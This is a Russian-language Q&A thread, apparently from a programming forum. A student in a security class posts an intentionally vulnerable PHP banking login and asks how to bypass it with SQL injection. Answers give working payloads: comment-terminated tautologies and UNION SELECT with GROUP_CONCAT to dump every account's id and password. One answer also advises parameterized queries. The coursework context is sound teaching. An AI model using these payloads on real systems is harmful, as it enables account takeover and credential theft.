Атака SQL-инъекции с помощью php
Это часть задания для моего класса компьютерной безопасности, поэтому я не ищу конкретных ответов, просто немного помощи.
Нам дали неисправную программу (на php), которая управляет базой данных sql (банковским счетом), и мы должны найти способ создать атаку с использованием SQL-инъекции, которая позволит нам войти в учетную запись, не зная заранее ее идентификатор.
Я почти уверен, что знаю, где находится уязвимость, но, похоже, я не могу заставить свои атаки работать.
Код в вопросе (он довольно длинный, но единственная важная часть находится в первой части):
<html><head><title>FrobozzCo Community Credit Union</title></head>
<body>
<h1>FrobozzCo Community Credit Union</h1>
<h4><i>We're working for GUE</i></h4>
<hr>
<?php
$debugmode = 1;
function debug($msg) {
global $debugmode;
if ($debugmode) {
echo "<h4>$msg</h4>\n";
}
}
$thispage = 'FCCU.php';
echo "<form action='$thispage' method='post' name='theform'>\n";
$dbuser = 'fccu';
$dbpass = 'fccubucks';
$dbhost = 'localhost';
$dbname = $dbuser;
$PARAM = array_merge($_GET, $_POST);
// get username and password from form
if (!$PARAM['id'] || !$PARAM['password']) {
login();
} else { // otherwise, attempt to authenticate
$id = $PARAM['id'];
$password = $PARAM['password'];
$link_id = mysql_connect($dbhost, $dbuser, $dbpass);
mysql_select_db($dbname);
$query = "SELECT * FROM accounts WHERE id = $id AND password = '$password'";
debug($query);
$result = mysql_query($query) or die(mysql_error());
$row = mysql_fetch_array($result); // there should be only one row
if (!$row) { // auth failure
echo "<p><b>Your ID number and password you entered do not match.</b></p>";
echo "<p>Please try again.</p>";
login();
} else { // this user is authenticated!
// store authentication information in this form
echo "<input type=\"hidden\" name=\"id\" value=\"$id\" />\n";
echo "<input type=\"hidden\" name=\"password\" value=\"$password\" />\n";
banner($row);
// perform any requested actions (wire, transfer, withdraw)
if ($PARAM['action'] == 'Transfer Money') {
transfer_funds($id,
$password,
$PARAM['transfer_to'],
$PARAM['transfer_amount']);
} elseif ($PARAM['action'] == 'Wire Money') {
wire_funds($id,
$password,
$PARAM['routing'],
$PARAM['wire_acct'],
$PARAM['wire_amount']);
} elseif ($PARAM['action'] == 'Withdraw Money') {
withdraw_cash($id,
$password,
$PARAM['withdraw_amount']);
}
// normal output
// account info
$query = "SELECT * FROM accounts WHERE id = $id AND password = '$password'";
$result = mysql_query($query) or die(mysql_error());
$row = mysql_fetch_array($result); // there should be only one row
account_info($row);
// get current account list by name
$query = "SELECT first, last FROM accounts ORDER BY last";
$names = mysql_query($query) or die(mysql_error());
account_actions($row, $names);
}
}
echo "<hr>\n";
echo "Generated by FCCU.php at " . date("l M dS, Y, H:i:s",5678)."<br>";
function name_to_id($name) {
global $dbhost, $dbuser, $dbpass, $dbname;
$splitname = explode(", ", $name);
$link_id = mysql_connect($dbhost, $dbuser, $dbpass);
mysql_select_db($dbname);
$query = "SELECT id FROM accounts WHERE first = '$splitname[1]' AND last = '$splitname[0]'";
$result = mysql_query($query) or die(mysql_error());
$row = mysql_fetch_array($result);
$id = $row[0];
return $id;
}
function action_error($msg, $error) {
echo "<table bgcolor='#ff0000' color='#ffffff' align=center border=1>
<tr><td><center><b>ERROR!</b></center></td></tr>
<tr><td>
<p align='center'>$msg</p>
<p align='center'>Please go back and try again or contact tech support.</p>
<p align='center'><i>args: $error</i></p>
<p align='center'><input type='submit' name='clear' value='Clear Message'></p>
</td></tr>
</table>";
}
function withdraw_cash($id, $password, $amount) {
global $dbhost, $dbuser, $dbpass, $dbname;
$amount = floor($amount);
$link_id = mysql_connect($dbhost, $dbuser, $dbpass);
mysql_select_db($dbname);
$query = "SELECT bal FROM accounts WHERE password = '$password' AND id = $id";
debug("126: ($password) " . $query);
$result = mysql_query($query);
$row = mysql_fetch_array($result);
$giver_has = $row[0];
if ($amount > 0 && $giver_has >= $amount) {
$giver_has = $giver_has - $amount; // there's a problem here but it's not SQL Injection...
pretend("withdraw cash", $amount);
$query = "UPDATE accounts SET bal = $giver_has WHERE password = '$password' AND id = $id LIMIT 1";
mysql_query($query) or die(mysql_error());
echo "<h2 align='center'>Cash withdrawal of $$amount complete.</h2>
<h3 align='center'>Your cash should be ready in accounting within 45 minutes.</h3>\n";
} else {
action_error("Problem with cash withdrawal!",
"'$id', '$giver_has', '$amount'");
}
}
function wire_funds($id, $password, $bank, $account, $amount) {
global $dbhost, $dbuser, $dbpass, $dbname;
$amount = floor($amount);
$link_id = mysql_connect($dbhost, $dbuser, $dbpass);
mysql_select_db($dbname);
$query = "SELECT bal FROM accounts WHERE password = '$password' AND id = $id";
debug($query);
$result = mysql_query($query);
$row = mysql_fetch_array($result);
$giver_has = $row[0];
if ($amount > 0 && $giver_has >= $amount && $bank && $account) {
$giver_has = $giver_has - $amount; // there's a problem here but it's not SQL Injection...
pretend("wire money", $amount, $bank, $acct);
$query = "UPDATE accounts SET bal = $giver_has WHERE password = '$password' AND id = $id LIMIT 1";
debug($query);
mysql_query($query) or die(mysql_error());
echo "<h2 align='center'>Wire of $$amount to bank ($bank) account ($account) complete.</h2>\n";
} else {
action_error("Problem with wire fund transfer!",
"'$id', '$amount', '$giver_has', '$bank', '$account'");
}
}
function pretend() {
return 1;
}
function transfer_funds($giver_id, $password, $recipient, $amount) {
global $dbhost, $dbuser, $dbpass, $dbname;
$amount = floor($amount);
$recipient_id = name_to_id($recipient);
$link_id = mysql_connect($dbhost, $dbuser, $dbpass);
mysql_select_db($dbname);
$query = "SELECT bal FROM accounts WHERE id = $giver_id OR id = $recipient_id";
debug($query);
$result = mysql_query($query);
$row = mysql_fetch_array($result);
$recipient_has = $row[0];
$row = mysql_fetch_array($result);
$giver_has = $row[0];
debug("$giver_has, $recipient_has");
if ($amount > 0 && $giver_has >= $amount && $recipient_has) {
$giver_has = $giver_has - $amount; // there's a problem here but it's not SQL Injection...
$recipient_has = $recipient_has + $amount; // does anyone know what it is?
$query = "UPDATE accounts SET bal = $recipient_has WHERE id = $recipient_id LIMIT 1";
debug($query);
mysql_query($query) or die(mysql_error());
$query = "UPDATE accounts SET bal = $giver_has WHERE password = '$password' AND id = $giver_id LIMIT 1";
debug($query);
mysql_query($query) or die(mysql_error());
echo "<h2 align='center'>Transfer of $$amount to $recipient complete.</h2>\n";
} else {
action_error("Problem with employee fund transfer!",
"'$giver_id', '$recipient', '$amount', '$giver_has'");
}
}
function account_info($row) {
echo "<table border='1' align='center'>
<tr><td colspan='2'><p><center><b>Account Information</b></center></p></td></tr>
<tr><td><b>Account:</b></td><td>$row[0]</td></tr>
<tr><td><b>Balance:</b></td><td>$$row[1]</td></tr>
<tr><td><b>Birthdate:</b></td><td>$row[6]</td></tr>
<tr><td><b>SSN:</b></td><td>$row[5]</td></tr>
<tr><td><b>Phone:</b></td><td>$row[4]</td></tr>
<tr><td><b>Email:</b></td><td>$row[7]@frobozzco.com</td></tr>
</table>\n";
}
function account_actions($row, $names) {
global $thispage;
echo "<table border=1 width='600' align='center'>
<tr><td><center><b>Account Actions</b></center></td></tr>
<tr><td><center><b>Wire Funds</b></center></td></tr>
<tr><td>
<p>To wire funds: enter the amount (in whole dollars), the
receiving bank's <b>routing number</b> and <b>receiving account number</b>,
and press 'Wire Funds!'</p>
Wire amount: $<input name=wire_amount /><br />
Routing Number: <input name=routing /> (e.g. 091000022)<br />
Account Number: <input name=wire_acct /> (e.g. 923884509)<br />
<p align='center'><input type='submit' name='action' value='Wire Money'></p>
<p />
</td></tr>
<tr><td><center><b>Transfer Money</b></center></td><tr>
<tr><td><p>To transfer money to another FCCU account holder, select the
employee from the drop-down menu below, enter an ammount (in whole dollars)
to transfer, and press 'Transfer Money!'</p>
Transfer Amount: $<input name=transfer_amount /><br />
Transfer To: ";
// create dropdown menu with accounts
echo "<select name='transfer_to' selected='select employee'>\n";
echo "<option value='nobody'>select employee</option>\n";
while ($name = mysql_fetch_array($names)) {
echo "<option value=\"$name[1], $name[0]\">$name[1], $name[0]</option>\n";
}
echo "</select>\n";
echo "<br />
<p align='center'><input type='submit' name='action' value='Transfer Money'></p>
<p />
</td></tr>
<tr><td><center><b>Withdraw Cash</b></center></td><tr>
<tr><td><p>To withdraw cash, enter an amount (in whole dollars) and press
the 'Withdraw Cash!' button. The cash will be available in the accounting
office within 45 minutes.</p>
Withdraw Amount: $<input name=withdraw_amount /><br />
<p align='center'><input type='submit' name='action' value='Withdraw Money'></p>
<p />
</td></tr>
</table>
\n";
}
function banner($row) {
global $thispage;
$fullname = "$row[2] $row[3]";
echo "<table width='100%'><tr><td>
<p align='left'>Welcome, $fullname. (<a href='$thispage'>Log Out</a>)</p>
</td><td>
<p align='right'><i>(If you aren't $fullname, <a href='$thispage'>click here</a>.)</i></p>
</td></tr></table>\n";
echo "<hr>\n";
}
function login() {
global $thispage;
echo "<p>Enter your <b>account ID</b> and password and click \"submit.\"</p>\n";
echo "<table>\n";
echo "<tr><td>Account ID Number: </td><td><input name='id' cols='10' /></td></tr>\n";
echo "<tr><td>Password (alphanumeric only): </td><td><input name='password' cols='30' /></td></tr>\n";
echo "<tr><td><input type='submit' value='Submit' name='submit'></td><td></td></tr>\n";
echo "</table>\n";
}
?>
</form>
<p>Done.</p>
</body>
</html>
Строка:
$query = "SELECT * FROM accounts WHERE id = $id AND password = '$password'";
Я попробовал ввести пару строк идентификатора (я работаю из своего браузера), таких как
100 OR id=id;
0 OR 1=1;
Чтобы попытаться прокомментировать часть команды с паролем. Я довольно новичок в SQL, поэтому я думаю, что просто неправильно форматирую это.
Это или я полностью упускаю из виду более очевидный подвиг.
7 answers
Вам нужно обязательно прокомментировать остальную часть запроса, чтобы кавычки не сбивали вас с толку, и поэтому любые дополнительные предложения игнорируются.
Попробуйте установить идентификатор в:
0 OR id=id --
--
(это дефис, дефис, пробел: пробел важен) - это комментарий в MySQL.
Ты учишься в школе, и я не хочу просто давать тебе ответ. : Р
Учитывая тот факт, что запрос не параметризован...
Обратите внимание на расположение апострофов.
Имейте в виду запрос:
Select field
FROM table
WHERE field = '<-- Note these -->'
Однако вы на правильном пути!
УРОК
Всегда, всегда, всегда используйте параметризованные запросы, если можете. Также PDO - хороший способ доступа к базам данных на PHP.
ПРИМЕР
anything' OR 'x'='x
Использование SQL-инъекций - это искусство предоставления значений, которые при включении в инструкцию SQL приводят к правильному синтаксису инструкции SQL при изменении семантики, предназначенной разработчиком, на некоторые, которые выгодны злоумышленнику.
Теперь, если мы посмотрим на вашу попытку с идентификатором , являющимся 100 OR id=id;
и паролем чем-то, полученный SQL выглядит так:
SELECT * FROM accounts WHERE id = 100 OR id=id; AND password = 'something'
Теперь у вас есть две проблемы с это:
-
mysql_query
поддерживает выполнение только одного оператора и выдает ошибку, если существует более одного оператора. - Даже если бы поддерживалось несколько операторов, возвращаемое значение было бы результатом второго оператора, что, очевидно, недопустимо.
Поэтому, чтобы исправить это, самый простой способ - ввести комментарий , его синтаксис #
или --
( обратите внимание на конечный пробел) для комментариев до конца строки. Таким образом, вы можете использовать одно из следующих значений для идентификатора :
100 OR id=id #
100 OR id=id --
Или вы вводите независимое предложение OR
без каких-либо комментариев, подобных этому:
100 OR id=id OR id
Это приведет к:
SELECT * FROM accounts WHERE id = 100 OR id=id OR id AND password = 'something'
Здесь id=id
верно для каждой строки.
Принятый ответ охватывает все.
Однако я замечаю, что в первоначальном вопросе одним из пунктов было "разрешить нам войти в учетную запись, не зная заранее ее идентификатор".
Предполагая, что вы заранее знаете имя (но не идентификатор), вы можете установить идентификатор примерно следующим образом
0 OR (first='joe' AND last='bloggs') --
Я также был бы склонен установить пароль на что-то вроде:-
' OR (first='joe' AND last='bloggs') --
Таким образом, запросы, которые проверяют пароль перед идентификатором пользователя (например, баланс проверить) также можно было бы заставить работать
Для вашего развлечения есть еще кое-что, что было бы интересно попробовать. Установите идентификатор примерно так:-
0 UNION SELECT -1, password, password, password, password, password, password, password, password FROM accounts WHERE (first='joe' AND last='bloggs') --
И пароль к чему-то вроде этого:-
' UNION SELECT -1, password, password, password, password, password, password, password, password FROM accounts WHERE (first='joe' AND last='bloggs') --
Затем в функции account_info должен быть указан фактический пароль (возможно, вам потребуется добавить ",пароль" еще несколько раз, просто чтобы количество столбцов соответствовало количеству столбцов в таблице учетных записей).
Или, если вам нужны все идентификаторы: -
0 UNION SELECT -1, GROUP_CONCAT(CONCAT_ws(':', id, password)), GROUP_CONCAT(CONCAT_ws(':', id, password)), GROUP_CONCAT(CONCAT_ws(':', id, password)), GROUP_CONCAT(CONCAT_ws(':', id, password)), GROUP_CONCAT(CONCAT_ws(':', id, password)), GROUP_CONCAT(CONCAT_ws(':', id, password)), GROUP_CONCAT(CONCAT_ws(':', id, password)), GROUP_CONCAT(CONCAT_ws(':', id, password)) FROM accounts --
И пароли:-
' UNION SELECT -1, GROUP_CONCAT(CONCAT_ws(':', id, password)), GROUP_CONCAT(CONCAT_ws(':', id, password)), GROUP_CONCAT(CONCAT_ws(':', id, password)), GROUP_CONCAT(CONCAT_ws(':', id, password)), GROUP_CONCAT(CONCAT_ws(':', id, password)), GROUP_CONCAT(CONCAT_ws(':', id, password)), GROUP_CONCAT(CONCAT_ws(':', id, password)), GROUP_CONCAT(CONCAT_ws(':', id, password)) FROM accounts --
Что-то вроде этого должно предоставить вам все идентификаторы и пароли в системе (при условии ограничения максимальной длины для GROUP_CONCAT). Таким образом, после этого вы могли легко войти в систему с любым идентификатором и паролем, которые вы хотели.
Я скопировал ваш сценарий и создал тестовую таблицу, и все вышеперечисленное сработало.
В принципе, вы можете атаковать это с помощью GET
или POST
. Метод GET намного проще, просто создайте параметр URL с именем id
с нужным SQL для ввода.
http://www.somesite.com/FCCU.php?id=id --
Возможно, вам придется закодировать его по URI, просто сначала попробуйте не закодировать. Затем сервер выполнит запрос:
SELECT * FROM accounts WHERE id = id -- AND password = '$password'
Поскольку условие пароля закомментировано и WHERE id = id
эквивалентно WHERE TRUE
, в конечном итоге будет работать так же, как:
SELECT * FROM accounts
Возвращаемое значение этого запроса затем сохраняется в переменная, в которой содержится вся информация об учетной записи каждого пользователя в базе данных сайта. Поскольку они передают эту переменную в свою функцию отладки, вам просто нужно включить режим отладки, и вы должны увидеть конфиденциальную информацию о входе и пароле каждого пользователя.
Нехорошо взламывать, но:
SELECT * FROM accounts WHERE id = $id AND password = '$password'"
В поле идентификатора tipe
1 --
2 --
Или
1-- // without space
2--
Таким образом, вы сможете войти в систему под именем каждого пользователя
Вы можете ввести это в качестве идентификатора (пример для учетной записи с идентификатором 123):
123 OR 1=2
Хитрость в том, что вторая часть оценивается как ЛОЖНАЯ, и поэтому в результате у вас есть только id=123. Использование истинного условия приведет ко всем строкам, поэтому вы, вероятно, получите id=1, если таблица будет отсортирована.
Следующим шагом является проверка полученной страницы и поиск в поле скрытый пароль. Затем вы сможете отправлять больше запросов с правильным идентификатором и паролем.